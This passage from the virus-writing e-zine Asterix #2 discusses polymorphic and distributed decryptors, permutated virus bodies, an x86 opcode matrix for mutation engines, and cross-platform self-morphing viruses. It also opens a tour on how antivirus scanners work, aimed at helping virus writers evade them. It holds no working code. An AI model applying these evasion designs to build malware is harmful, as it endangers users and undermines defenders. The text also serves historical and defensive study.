Distributed decryptorThis is some kind og combination idea of hiding entry-point mentioned above with decryption routine. Innormal poly engine the situation is similar to figure 1 while distributed poly decryptor look like on figure 2

fig. 1 fig. 2

infected host

decryptor

encrypted body of the virus

infected host part

decryptor part

infected host part

decryptor part

infected host part

encrypted body of the virus

infected host part

Prelude to the topic distributed decryptor has been written by Bulgarian programmer known as Dark Avengerin his Commander Bomber virus (already mentioned). The first real (as far as I know) but weakimplementation of distributed decryptor can be seen in Vyvojar's One_Half virus with its decryptor divided in10 parts. However, it was really easy and we should not call it really polymorphic as encryption schema waspretty visible even for stupids. But even as it was so simple, it complicates life to avers really good. May beyou remember.

And what would be the perfect distributed decryptor? Imagine decryptor spread all across the host file, withno specific locations, emulated of cos, code fragments linked together with conditional and unconditionaljumps, calls, loops combining linear and cyclyc structures, time-out attacks, armouring and anti-debug code.Easy to say, harder to code but why not to try it? A demonstration of this is for example Vyvojar's EMM3(Explosion Mutation Machine 3).

Permutated virus codeWe can't stop the way of polymorphism on encryptor level. Another level of polymorphism - permutated (wecan call it polymorphical, if you want) virus body itself. It is the easier degree of having whole virus in different

Page 43: EZine - Asterix #2

way every time. It was firstly demonstrated in Ender's TMC:Level_42 that we have also available in this issue(or bugfixed version TMC:Level_6x9 - if you know Hitch Hiker's guide to the galaxy). TMC stands for TiniMutation Compiler, which is not a good name in fact - because it is a Mutation Linker instead. It is able toplace its own code fragments to different locations breaking them at instruction level, connecting thesefragments with original conditional jumps or generated jumps, and link all the jumps and memory referencesto correct offsets. We can define code permutating as changing memory position but keeping code-flow of virus code itself.This is rather enought to cause big problems to scanners, as they have to catch all the samples. By choosingany string avir might fail as virus can be breaked within a string and will not be detected. For doing this, virushave to have its own code stored in some form capable for permuattion (that have linking information), or tohave some rules how to permutate already running code (and some way to keep linking information as well).

True polymorphicsCan virus body be really different for every instance at the instruction level? Well, nowadays there isn't anyvirus doing this. However I think it is possible. Because there are many ways how to program samesubroutine (that even uses same algorythm) and can be completly different at binary and instruction level. Itis most probably needed to have some pre-compiled form that will be assembled each time, instead of usingits own code as an template (it might be possible, but even much harder to implement). These ideas aremore detaily written in Navrhar's article discussing this called ASM vs. HLL.

Page 44: EZine - Asterix #2

Guys forced me to publish a matrix which I used to create some predictive polymorhical encryption engine(based on emm3 ideas). Because MGL's matrix published in our zine #1 was really poor I created a betterone, including 386+ opcodes of course. However this matrix presented here is also quite obsolette, and I started to build up a new one some weeksago, but Katmai and Athlon specific opcodes overlaps a lot, so it tooks me more than a week to get rid of itand after that I accidentaly deleted what was already done. And you can imagine - I was so angry so I didn'tstarted again :)

To use this matrix, you should at first install a true-type fonts (supplied) which I used in these excel sheets:using control panel - fonts - file - install new fonts. And you can print it as big as you wish, and start markingopcodes and groups you need to optimize your engine :) Good luck!

Flush

Download opcode matrix here

Page 45: EZine - Asterix #2

Opcodes x86

x0 x1 x2 x3 x4 x5 x6 x7 x8 x9 xA xB xC xD xE xF1)

0x ADD ADD ADD ADD ADD ADD PUSH POP OR OR OR OR OR OR PUSH table 1r/m, r8 r/m, r r8, r/m r, r/m AL, im8 AX, im ES ES r/m, r8 r/m, r r8, r/m r, r/m AL, im8 AX, im CS

1x ADC ADC ADC ADC ADC ADC PUSH POP SBB SBB SBB SBB SBB SBB PUSH POPr/m, r8 r/m, r r8, r/m r, r/m AL, im8 AX, im SS SS r/m, r8 r/m, r r8, r/m r, r/m AL, im8 AX, im DS DS

2x AND AND AND AND AND AND ES: DAA SUB SUB SUB SUB SUB SUB CS: DASr/m, r8 r/m, r r8, r/m r, r/m AL, im8 AX, im prefix r/m, r8 r/m, r r8, r/m r, r/m AL, im8 AX, im prefix

3x XOR XOR XOR XOR XOR XOR SS: AAA CMP CMP CMP CMP CMP CMP DS: AASr/m, r8 r/m, r r8, r/m r, r/m AL, im8 AX, im prefix r/m, r8 r/m, r r8, r/m r, r/m AL, im8 AX, im prefix

4x INC INC INC INC INC INC INC INC DEC DEC DEC DEC DEC DEC DEC DECAX CX DX BX SP BP SI DI AX CX DX BX SP BP SI DI

5x PUSH PUSH PUSH PUSH PUSH PUSH PUSH POP POP POP POP POP POP POP POP POPAX CX DX BX SP BP SI DI AX CX DX BX SP BP SI DI

186+ 186+ 186+ P286+ 386+ 386+ 386+ 386+ 186+ 186+ 186+ 186+ 186+ 186+ 186+ 186+

6x PUSHA POPA BOUND ARPL FS: GS: ofs 16/32 oper 16/32 PUSH IMUL PUSH IMUL INSB INS OUTSB OUTSPUSHAD POPAD r, m r, m prefix prefix prefix prefix im r, i, m im8 r, i8, m

7x JO JNO JC JNC JZ JNZ JA JNA JS JNS JP JNP JL JNL JG JNGrel8 rel8 rel8 rel8 rel8 rel8 rel8 rel8 rel8 rel8 rel8 rel8 rel8 rel8 rel8 rel8

table 2.5 table 2.68x table 2.1 table 2.2 table 2.3 table 2.4 TEST TEST XCHG XCHG MOV MOV MOV MOV MOV LEA MOV table 2.7

r8/m8, im8 r/m, im r8/m8, sim8 r/m, sim8 r/m, r8 r/m, r r/m, r8 r/m, r r/m, r8 r/m, r r8, r/m r, r/m r/m, seg r, m seg, r/m m

9x NOP XCHG XCHG XCHG XCHG XCHG XCHG XCHG CBW CWD CALL far WAIT PUSHF POPF SAHF LAHFxchg ax, ax AX, CX AX, DX AX, BX AX, SP AX, BP AX, SI AX, DI CWDE CDQ adr PUSHFD POPFD

MOV MOV MOV MOV MOVSB MOVS CMPSB CMPS TEST TEST STOSB STOS LODSB LODS SCASB SCASAL, im8

MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV MOVAL, im8 CL, im8 DL, im8 BL, im8 AH, im8 CH, im8 DH, im8 BH, im8

M M table 2.10 table 2.11 186+ 186+

table 2.8 table 2.9 RETN RETN LES LDS MOV MOV ENTER LEAVE RETF RETF INT 3 INT INTO IRETr/m, im8 r/m, im8 im8 r, m r, m m, im8 im8

! 2) ! 2) 286+ x87 x87 x87 x87 x87 x87 x87 x87

table 2.12 table 2.13 table 2.14 table 2.14 AAM AAD SETALC XLAT ESC0 ESC1 ESC2 ESC3 ESC4 ESC5 ESC6 ESC7r8/m8, 1 r/m, 1 r8/m8, CL r/m, CL im8 im8 m32/fr m32/fr m32/(r8?) m32/(r?) m64/fr m64/fr m16/fr m16/(r?)

Ex LOOPNZ LOOPZ LOOP JCXZ IN IN OUT OUT JMP far JMP short IN IN OUT OUTrel8 rel8 rel8 rel8 JECXZ AL, im8 AX, im8 im8, AL im8, AX rel8 AL, DX AX, DX DX, AL DX, AX

table 3.1

LOCK … REPNZ REP HLT CMC table 2.16 table 2.17 CLC STC CLI STI CLD STD table 2.18 table 2.19m8, (im8) m8 m

r/m

r, r8

m, m8

rel8

1) - 8088 POP CS:2)A!

M

A! 2) 386+ CPU limitationINSTR

im8 JCXZ

AxAL, [adr] AX, [adr] [adr], AL [adr], AX AX, im

BxAX, im CX, im DX, im BX, im SP, im BP, im SI, im DI, im

Cxm, im im, im8 imm

Dx

CALL near JMP nearadr adr adr

Fxprefix prefix prefix m, (im)

USED Symbols:im, im8 - Immediate number, in current operand size 16/32, or 8 bit

sim, sim8 - Signed immediate number 16/32, 8 bit- Register or memory see R/M microcode table- Register see Register microcode table- Memory mode

[adr] - Fixed address location (imm)- Relative address (sim8, based from next instruction)

adr - Fixed address (imm)seg - Segment register

- Documented only with im8 = 0Ah, on NEC only this variant is implemented- AX variant is not used by compilers (shorter form is available too)- Undocumented instruction / not used by compilers- Operand is actually r/m type, but is invalid with R variant

Instruction legality / note / warningInstruction mnemonic

Operand list with its size prefix Optional instruction modification, usualy with 66-prefix (not mentioned in string instructions)

Is a prefix, not a instruction

Page 46: EZine - Asterix #2

0 1 2 3 4 5 6 78 bit AL CL DL BL AH CH DH BH

16/32 bit (E)AX (E)CX (E)DX (E)BX (E)BP (E)SP (E)SI (E)DI

segments ES CS SS DS FS GS - -

SIB

r/m index base

0 1 2 3 4 5 6 70 [BX+SI] [BX+DI] [BP+SI] [BP+DI] [SI] [DI] [BX]

1 [BX+SI+sim8][BX+DI+sim8][BP+SI+sim8][BP+DI+sim8] [SI+sim8] [DI+sim8] [BP+sim8] [BX+sim8]

2

3 AL/AX CL/CX DL/DX BL/BX AH/BP CH/SP DH/SI BH/DI

0 1 2 3 4 5 6 70 [EAX] [ECX] [EDX] [EBX] [ESI] [EDI]

1 [EAX+sim8] [ECX+sim8] [EDX+sim8] [EBX+sim8] [EBP+sim8] [ESI+sim8] [EDI+sim8]

2

3 AL/EAX CL/ECX DL/EDX BL/EBX AH/EBP CH/ESP DH/ESI BH/EDI

SIB base

0 1 2 3 4 5 6 7

0 +EAX +ECX +EDX +EBX +ESP +ESI +EDI

1 +EAX +ECX +EDX +EBX +ESP +EBP+im8 +ESI +EDI

2 +EAX +ECX +EDX +EBX +ESP +ESI +EDI

SIB index0 1 2 3 4 5 6 7

[EAX] [ECX] [EDX] [EBX] - [EBP] [ESI] [EDI]

0 1 2 3index index * 2 index * 4 index * 8

Register microcode table (reg)

PostbyteXXxx xxxx xxXX Xxxx xxxx xXXX XXxx xxxx xxXX Xxxx xxxx xXXX

modreg OR

instruction

scale

16-bit adressing modes (mod, r/m)

[im]

[BX+SI+im] [BX+DI+im] [BP+SI+im] [BP+DI+im] [SI+im] [DI+im] [BP+im] [BX+im]

32-bit adressing modes (mod, r/m)

[SIB] [im]

[SIB+sim8]

[EAX+im] [ECX+im] [EDX+im] [EBX+im] [SIB+im] [EBP+im] [ESI+im] [EDI+im]

MOD of postbyte

+im

+EBP+im

Note: If MOD of postbyte is 11, SIB is not present at all!

SIB scale

Page 47: EZine - Asterix #2

x0 x1 x2 x3 x4 x5 x6 x7 x8 x9286+ 286+ 286+ 286+ ! 286 ! 286 286+ table 3.2 ! 486 ! 486 P6+

0x table 2.20 table 2.21 LAR LSL LOADALL LOADALL CLTS … INVD WBINVD - UD2 - - - -r/m r/m r, m/m r, r/m alternative

table 3.3 table 3.4 table 3.5 table 3.6 NEC V20+ NEC V20+ NEC V20+ NEC V20+ NEC V20+ NEC V20+ NEC V20+ NEC V20+ NEC V20+ NEC V20+ NEC V20+ NEC V20+

1x … … … … SET1 SET1 NOT1 NOT1 TEST1 TEST1 CLEAR1 CLEAR1 SET1 SET1 NOT1 NOT1r8/m8, CL r/m, CL r8/m8, CL r/m, CL r/m, im8 r/m, im r/m, im8 r/m, im r/m, im8 r/m, im r/m, im8 r/m, im

table 3.7 386+ 386+ table 3.8 386+ 386+ 386, 486 table 3.9386, 486 NEC V20+ NEC V20+

2x MOV MOV MOV MOV MOV - MOV - ROL4 - ROR4 - - - - -r32, CRn r32, DRn CRn, r32 DRn, r32 r32, TRn TRn, r32 r8/m8 m8

SLC, P5+ table 3.10 P5+ SLC, P5+ table 3.11 P6+

3x WRMSR RDTSC RDMSR RDMPC - - - - - - - - - - - -r8, r8 r8, r8

P6+ P6+ P6+ P6+ P6+ P6+ P6+ P6+ P6+ P6+ P6+ P6+ P6+ P6+ P6+ P6+

4x CMOVO CMOVNO CMOVC CMOVNC CMOVZ CMOVNZ CMOVA CMOVNA CMOVS CMOVNS CMOVP CMOVNP CMOVL CMOVNL CMOVG CMOVNGr, m r, m r, m r, m r, m r, m r, m r, m r, m r, m r, m r, m r, m r, m r, m r, m

5x - - - - - - - - - - - - - - - -

MMX MMX MMX MMX MMX MMX MMX MMX MMX MMX MMX MMX MMX MMX

6x PUNPCKLBW PUNPCKLWD PUNPCKLDQ PACKSSWB PCMPGTB PCMPGTW PCMPGTD PACKUSWB PUNPCKHBW PUNPCKHWD PUNPCKHDQ PACKSSDW - - MOVD MOVQmm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, r/m32 mm, mm/m64

MMX MMX MMX MMX MMX MMX MMX 486 486 486 486 486 486 table 3.12 MMX MMX

7x - table 2.22 table 2.23 table 2.24 PCMPEQB PCMPEQW PCMPEQD EMSS SVDC RSDC table 2.25 table 2.26 table 2.27 table 2.28 MOVD MOVQmm, im8 mm, im8 mm, im8 mm, mm/m64 mm, mm/m64 mm, mm/m64 m80, sreg sreg, m80 m80 m80 m80 m80 r/m32, mm mm/m64, mm

386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+

8x JO JNO JC JNC JZ JNZ JA JNA JS JNS JP JNP JL JNL JG JNGrel rel rel rel rel rel rel rel rel rel rel rel rel rel rel rel

386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+

9x SETO SETNO SETC SETNC SETZ SETNZ SETA SETNA SETS SETNS SETP SETNP SETL SETNL SETG SETNGr/m r/m r/m r/m r/m r/m r/m r/m r/m r/m r/m r/m r/m r/m r/m r/m

386+ 386+ SL, P5+ 386+ 386+ 386+ table 3.13486 B0- table 3.14486 B0- 386+ 386+ 486+ 386+ 386+ 386+ 386+

Ax PUSH POP CPUID BT SHLD SHLD CMPXCHG CMPXCHG PUSH POP RSM BTS SHRD SHRD - IMULFS FS r/m, r r/m, r, im8 r/m, r, CL r/m, r8 r/m, r GS GS r/m, r r/m, r, im8 r/m, r, CL r, r/m486+ B1+ step 486+ B1+ stepM 386+ 386+M 386+M 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+ 386+

Bx CMPXCHG CMPXCHG LSS BTR LFS LGS MOVZX MOVZX - - table 2.29 BTC BSF BSR MOVSX MOVSXr/m, r8 r/m, r r, m r/m, r r, m r, m r, r8/m8 r, r16/m16 m, im8 r/m, r r/m, r r/m, r r, r8/m8 r, r16/m16

486+ 486+ P5+ 486+ 486+ 486+ 486+ 486+ 486+ 486+ 486+

Cx XADD XADD - - - - - table 2.30 BSWAP BSWAP BSWAP BSWAP BSWAP BSWAP BSWAP BSWAPr/m, r8 r/m, r m64 AX CX DX BX BP SP SI DI

MMX MMX MMX MMX MMX MMX MMX MMX MMX MMX

Dx - PSRLW PSRLD PSRLQ - PMULLW - - PSUBUSB PSUBUSW - PAND PADDUSB PADDUSW - PANDNmm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64

NEC V33/V53 MMX MMX MMX MMX MMX MMX MMX MMX MMX

Ex BRKXA PSRAW PSRAD - - PMULHW - - PSUBSB PSUBSW - POR PADDSB PADDSW - PXORim8 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64

NEC V33/V53 MMX MMX MMX MMX MMX MMX MMX MMX MMX MMX table 3.15

Fx RETXA PSLLW PSLLD PSLLQ - PMADDWD - - PSUBB PSUBW PSUBD - PADDB PADDW PADDD …im8 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64 mm, mm/m64

USED Symbols:im, im8 - Immediate number, in current operand size 16/32, or 8 bit

sim, sim8 - Signed immediate number 16/32, 8 bitr/m

mm - MMX registerr, r8

m, m8 - Memory mode[adr] - Fixed address location (imm)rel8 - Relative address (sim8, based from next instruction)rel - Relative address (sim16/32, based from next instruction)adr - Fixed address (imm)seg - Segment register

! - Undocumented instruction / not used by compilersM - Operand is actually r/m type, but is invalid with R variant

Exdended "0F" Opcodes

xA xB xC xD xE xF

- Register or memory see R/M microcode table

- Register see Register microcode table

Page 48: EZine - Asterix #2

Table 2 - extended opcodes

A A A A A A A A

80 ADD OR ADC SBB AND SUB XOR CMPtable 2.1 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8

A A A A A A A A

81 ADD OR ADC SBB AND SUB XOR CMPtable 2.2 r/m, im r/m, im r/m, im r/m, im r/m, im r/m, im r/m, im r/m, im

A ! A ! ??? A ! A ! A ! ??? A ! A ! ??? A !

82 ADD OR ADC SBB AND SUB XOR CMPtable 2.3 r8/m8, sim8 r8/m8, sim8 r8/m8, sim8 r8/m8, sim8 r8/m8, sim8 r8/m8, sim8 r8/m8, sim8 r8/m8, sim8

A A 386+ A A A 386+ A A 386+ A

83 ADD OR ADC SBB AND SUB XOR CMPtable 2.4 r/m, sim8 r/m, sim8 r/m, sim8 r/m, sim8 r/m, sim8 r/m, sim8 r/m, sim8 r/m, sim8

386+ 386+

8C MOV MOV MOV MOV MOV MOV - -table 2.5 r/m, ES r/m, CS r/m, SS r/m, DS r/m, FS r/m, GS

! 8088 386+ 386+

8E MOV MOV MOV MOV MOV MOV - -table 2.6 ES, r/m CS, r/m SS, r/m DS, r/m FS, r/m GS, r/m

R R ! R ! R ! R ! R ! R ! R !

8F POP POP POP POP POP POP POP POPtable 2.7 r/m r/m r/m r/m r/m r/m r/m r/m

186+ 186+ 186+ 186+ 186+ 186+ ! 186+ 186+

C0 ROL ROR RCL RCR SHL SHR SAL SARtable 2.8 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8

186+ 186+ 186+ 186+ 186+ 186+ ! 186+ 186+

C1 ROL ROR RCL RCR SHL SHR SAL SARtable 2.9 r/m, im8 r/m, im8 r/m, im8 r/m, im8 r/m, im8 r/m, im8 r/m, im8 r/m, im8

R R ! R ! R ! R ! R ! R ! R !

C6 MOV MOV MOV MOV MOV MOV MOV MOVtable 2.10 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8 r8/m8, im8

R R ! R ! R ! R ! R ! R ! R !

C7 MOV MOV MOV MOV MOV MOV MOV MOVtable 2.11 r/m, im r/m, im r/m, im r/m, im r/m, im r/m, im r/m, im r/m, im

!

D0 ROL ROR RCL RCR SHL SHR SAL SARtable 2.12 r8/m8, 1 r8/m8, 1 r8/m8, 1 r8/m8, 1 r8/m8, 1 r8/m8, 1 r8/m8, 1 r8/m8, 1

!

D1 ROL ROR RCL RCR SHL SHR SAL SARtable 2.13 r/m, 1 r/m, 1 r/m, 1 r/m, 1 r/m, 1 r/m, 1 r/m, 1 r/m, 1

!

D2 ROL ROR RCL RCR SHL SHR SAL SARtable 2.14 r8/m8, CL r8/m8, CL r8/m8, CL r8/m8, CL r8/m8, CL r8/m8, CL r8/m8, CL r8/m8, CL

!

D3 ROL ROR RCL RCR SHL SHR SAL SARtable 2.15 r/m, CL r/m, CL r/m, CL r/m, CL r/m, CL r/m, CL r/m, CL r/m, CL

F6 TEST - NOT NEG MUL IMUL DIV IDIVtable 2.16 r8/m8, im8 r8/m8 r8/m8 r8/m8 r8/m8 r8/m8 r8/m8

F7 TEST - NOT NEG MUL IMUL DIV IDIVtable 2.17 r/m, im r/m r/m r/m r/m r/m r/m

R R

FE INC DEC - - - - - -table 2.18 r8/m8 r8/m8

R R M M R

FF INC DEC CALL near CALL far JMP near JMP far PUSH -table 2.19 r/m r/m r/m m r/m m r/m

286+ 286+ 286+ 286+ 286+ 286+

0F 00 SLDT STR LLDT LTR VERR VERW - -table 2.20 r/m r/m r/m r/m r/m r/m

M 286+M 286+M 286+M 286+ 286+ 286+M 486

0F 01 SGDT SIDT LGDT LIDT SMSW - LMSW INVLPGtable 2.21 r/m r/m r/m r/m r/m r/m r/m

MMX MMX MMX

0F 71 - PSRLW - - PSRAW - PSLLW -table 2.22 mm, im8 mm, im8 mm, im8

MMX MMX MMX

0F 72 - PSRLD - - PSRAD - PSLLD -table 2.23 mm, im8 mm, im8 mm, im8

MMX MMX

0F 73 - PSRLQ - - - - PSLLQ -table 2.24 mm, im8 mm, im8

M 486

0F 7A SVLDT - - - - - - -table 2.25 m80

M 486

0F 7B RSLDT - - - - - - -table 2.26 m80

M 486

0F 7C SVTS - - - - - - -table 2.27 m80

M 486

0F 7D RSTS - - - - - - -table 2.28 m80

386+ 386+ 386+ 386+

0F BA - - - - BT BTS BTR BTCtable 2.29 r/m, im8 r/m, im8 r/m, im8 r/m, im8

P5+

0F C7 - CMPXCHG8B - - - - - -table 2.30 m64

USED Symbols:im, im8 - Immediate number, in current operand size 16/32, or 8 bit

sim, sim8 - Signed immediate number 16/32, 8 bitr/m

mm - MMX registerr, r8

m, m8 - Memory mode[adr] - Fixed address location (imm)rel8 - Relative address (sim8, based from next instruction)adr - Fixed address (imm)seg - Segment register

A - AX variant is not used by compilers (shorter form is available too)! - Undocumented instruction / not used by compilersR - A shorter form of instruction exits for register as an operandM - Operand is actually r/m type, but is invalid with R variant

00 000 08 001 10 010 18 011 20 100 28 101 30 110 38 111

- Register or memory see R/M microcode table

- Register see Register microcode table

Page 49: EZine - Asterix #2

NEC IBM INTEL INTEL INTEL INTEL CYRIX CYRIX CYRIX AMD AMD AMD AMDV20+ 486SLC2 386 486 P5 P6 486 5x86 6x86 386SX/DX 486 K5 K6

V25/V35

F1 BRKS ICEBP - - - - SMI? SMI? SMI? SMI SMI ? ?table 3.1 im8

0F 07 - ICERET LOADALL LOADALL - - ? ? ? RES3 RES4 ? ?table 3.2

0F 10 TEST1 UMOV ? ? - - UMOV UMOV UMOV UMOV UMOV ? ?table 3.3 r8/m8, CL r/m, r8 r/m, r8 r/m, r8 r/m, r8 r/m, r8 r/m, r8

0F 11 TEST1 UMOV ? ? - - UMOV UMOV UMOV UMOV UMOV ? ?table 3.4 r/m, CL r/m, r r/m, r r/m, r r/m, r r/m, r r/m, r

0F 12 CLEAR1 UMOV ? ? - - UMOV UMOV UMOV UMOV UMOV ? ?table 3.5 r8/m8, CL r8, r/m r8, r/m r8, r/m r8, r/m r8, r/m r8, r/m

0F 13 CLEAR1 UMOV ? ? - - UMOV UMOV UMOV UMOV UMOV ? ?table 3.6 r/m, CL r, r/m r, r/m r, r/m r, r/m r, r/m r, r/m

0F 20 ADD4S MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV MOVtable 3.7 r32, CRn

0F 22 SUB4S MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV MOV MOVtable 3.8 CRn, r32

0F 28 ROL4 MOV MOV MOV - - MOV MOV ? MOV MOV MOV ?table 3.9 r8/m8 TRn, r32 TRn, r32 TRn, r32 TRn, r32 TRn, r32 TRn, r32 TRn, r32 TRn, r32

0F 31 INS - - - RDTSC RDTSC - - - - - RDTSC ?table 3.10 r8, r8 r8, r8 r8, r8 r8, r8

0F 33 EXT - - - - RDMPC - - - - - - -table 3.11 r8, r8

MMX MMX MMX

0F 33 - SMINT - - MOVD MOVD SMINT - - - - - MOVDtable 3.12 r/m32, mm r/m32, mm r/m32, mm

0F A6 - CMPXCHG XBTS CMPXCHG CMPXCHG CMPXCHG CMPXCHG CMPXCHG CMPXCHG XBTS CMPXCHG CMPXCHG CMPXCHGtable 3.13 r/m, r8 r, r/m, EAX, CLr/m, r8 r/m, r8 r/m, r8 r/m, r8 r/m, r8 r/m, r8 r, r/m, EAX, CLr/m, r8 r/m, r8 r/m, r8

0F A7 - CMPXCHG IBTS CMPXCHG CMPXCHG CMPXCHG CMPXCHG CMPXCHG CMPXCHG IBTS CMPXCHG CMPXCHG CMPXCHGtable 3.14 r/m, r r, r/m, EAX, CLr/m, r r/m, r r/m, r r/m, r r/m, r r/m, r r, r/m, EAX, CLr/m, r r/m, r r/m, r

0F FF BRKEM - - - - - - - OIO - - UD UD?table 3.15 im8

USED Symbols:im, im8 - Immediate number, in current operand size 16/32, or 8 bit

sim, sim8 - Signed immediate number 16/32, 8 bitr/m

r, r8

m, m8 - Memory mode[adr] - Fixed address location (imm)rel8 - Relative address (sim8, based from next instruction)adr - Fixed address (imm)seg - Segment register

Table 3 - CPU-depended instructions

r32, CRn r32, CRn r32, CRn r32, CRn r32, CRn r32, CRn r32, CRn r32, CRn r32, CRn r32, CRn r32, CRn

CRn, r32 CRn, r32 CRn, r32 CRn, r32 CRn, r32 CRn, r32 CRn, r32 CRn, r32 CRn, r32 CRn, r32 CRn, r32

- Register or memory see R/M microcode table- Register see Register microcode table

Page 50: EZine - Asterix #2

IntroductionIf we can handle such a complexe target as PE files are we are facing the sad fact we can infect files on theIntel platform but we can never get outside this platform. Rare exception from this axiom is virus Esperanto(by Mr. Sandman published in 29A Nr. 2) which is the first of its kind, capable of speading on variousplatforms and processors. Glory goes to Mr. Sandman but unfortunately, this approach cannot be used forlarger projects. Whole Esperanto's solution is based on presence of two parts - one for intel processors, theother for Macs, practically doubling the size of necessary code. It doesn't seem to be the ideal solution, let'simage the 50 kB viral code for three processors and we well land somewhere around 150 kb maxivirus.

IdeaI would solve this problem using another approach. My approach would be more difficult (but not impossible)to code. I state here i am not ready to participate on such a project (no time and morale left). I would like tofind some newbies or people ready to work hard. Idea is quite simple - we should carry the body in somekind of pre-compiled state, which should be easy translated to assembly language of every single targetprocessor.

Imagine, we have C compilator, which produces output at the level between C and assembly languages.Between C and assembly means, that before code is assembled it has to be compiled by special C compiler.In fact code should be at the lowest level, it could be, because we need to assemble it for variousarchitectures. Because of this code should be register and memory addressing mode independent. The onemodel i like the best is stack machine (uses RPL - reverse polish logic) with direct memory adressing mode(only value on top of the stack is a memory address). Of course, this means compiled "code" will be largerthan regular intel code.

Resulting code for some processor could gain quite high variability this way (by every single translation couldbe another instructions or registers used). Also in the case resulting code will be close enough to codeproduced by C compilers - some standart stack frame, analogical using of stack, registers, variables and soon - this would be very hard to differenciate by heuristics without any further analysis. And it will be evenharder (if not impossible) to distinguish between variants. This would make problem of use complicated (andunemulationable) polymorphic routines, decryptors and such a things redundant. The only one condition tobe not a simple target is to have the "source" (which is by its nature more or less static) encoded and decodeit only if need to replicate.

Of course, precompiled "source code" has to contain "assembler" for all supported processors. Assembler -as a heart of body - gives a virus it's variability and complexness, so detection is as hard as good isassembler. That's reason why virii can be very long. It will be not enough just 5kB like for a classic polyroutines. That is reason why (probably) wouldn't be such a viruses spreaded by mailing. But besides of thiscode will be very similar to standart languages. You needn't to deal with infecting file in general, you can linkyour data area wherever you need so you need not to use writeable sections for code - what is in my opinionthe strongest heuristic flag.

Page 51: EZine - Asterix #2

Real time compilingAnoter posibility is compile code at run-time - you needn't to have whole code compiled in host file. You cancompile it at time you need it. This may at least reduce a size the file is increased of. I am not sure if this issafe enough in order not to be visible but i think compilation is complex enough to slow emulation down, andmay be makes scanning-speed unacceptable, so avers will have to find out new ways of detecting.

Code morphingAnother advantage is the BIG possibility of some modifications to the pre-compiled code. Because youexactly know what your code means and what kind of modifications can be performed on it. Because newone inherits it's code by parent, in 10 generations there can be a very big difference between existingvariants. Just imagine block permutations (modules or just functions) and minor changes in code like c=a+b -> c=b+a. I think it is good enough to totaly change the look of virii from parent to child and not speaking evenabout differences between distant variants. And there are possible a bit more complex changes - of course itdepends on source language and you.

Disadvantages - sizeAs i see it, main disadvantage is size. Because of a bit difficult technologies necessary to implement i don'teven hope that resulting code will be smaller than 50kB, what is imho a bit problem in these days. At first youcan't use mailing strategy to spread itself. It tooks some time to download 150kB of mails :-(. I heard that300kB is nothing, and there are really coming medias with 100MBs throughput, but main limiting factor isfloppy disk/internet and we still live in world, where 3kB/s is a high speed (33k6 modems are quite usual foruse of internet from home).

There can be some problems on the interference level (level, where host file and virus are directlyconnected). We are not far enough to say it can be whole handled by compiler or in needs special handlingwith PE+platform dependend code. But it should not be a big problem.

And now some sci-fi:Probably the first reason we start with all this stuff was to try how will genetics work in vx. And this gives youmuch better control over code modularision and generation of code. Our first idea was to create virii able toexchange modules with other one in order to optimize itself and adapt to current environment. This gives youmuch better probability to survive, but need to create environment with strong exchange of genes - what isdifficult. And now to real world ...

ClosingAnd now some closing words. Main advantage of the pre-compiled code is possibility to cross-plastforminfection. Besides this this approach opens another horizonts at least at the level of today poly engines andin the eternal 'game of hiding body' goes more to the direction of giving the virus body 'right color' thanbuilding 'bullet-proof' walls of anti code. This leads in no way to the lower variability of the code. Having thisfeatures this concept leads to the viruses which are TMC-like.

Another plus is the programming in HLL is more comfortable and faster, read more effective, not speaking ofthe base address independency :-).

Think about it !

Page 52: EZine - Asterix #2

One can give a simplest answer: "Know your enemy!". However it is not so simple. Well, I have taken controlon one of our big tours aimed to antiviruses, so I have to answer. Who else can?How you can write an virus without understanding antiviruses? With a very poor effeciency. The bad butcommon atribute of virus writers is that they do not know, how does avirs works. Most of writers callthemselfs researchers, but in many cases they are not researching anything. Just writing some virii simmilarone to another. Think a bit - it slightly simplyfies work for antivirus guys. They have no aditional effort to covernew viruses. It is, in other words, schematic. New viruses can be covered within a minutes (or even seconds!depends how wise they are and tools they wrote to do so) - it of course depends when they will do it and itmay takes them up to days or month(s) if they are overloaded with new samples. But no extra work to catchall the samples in In-the-Wild set and get Virus Bulletin's 100% award. And i think you will not be happy tobe caught so easily.

This tour is oriented to explain you how antiviruses works, lists basic principles and theory of scanning (andcleaning as well) methods, partially appoint how some best antiviruses works (and some our comments tothey hit-rates). We will also try to put some valid tests we made on real samples to show you this theories.We are not going you to tell exact methods how to fool each antivirus, but to show you what way you mustthink, and how to find newer and newer methods how to fool them. As if we list ten methods for example, ifall of them will be used there is no other method available. Of course, we will try to show some basicdirections, but you have to think! As writing virii is not for lamers. Not any more. Only best can survive. Thinkas it is YOU, for a while.

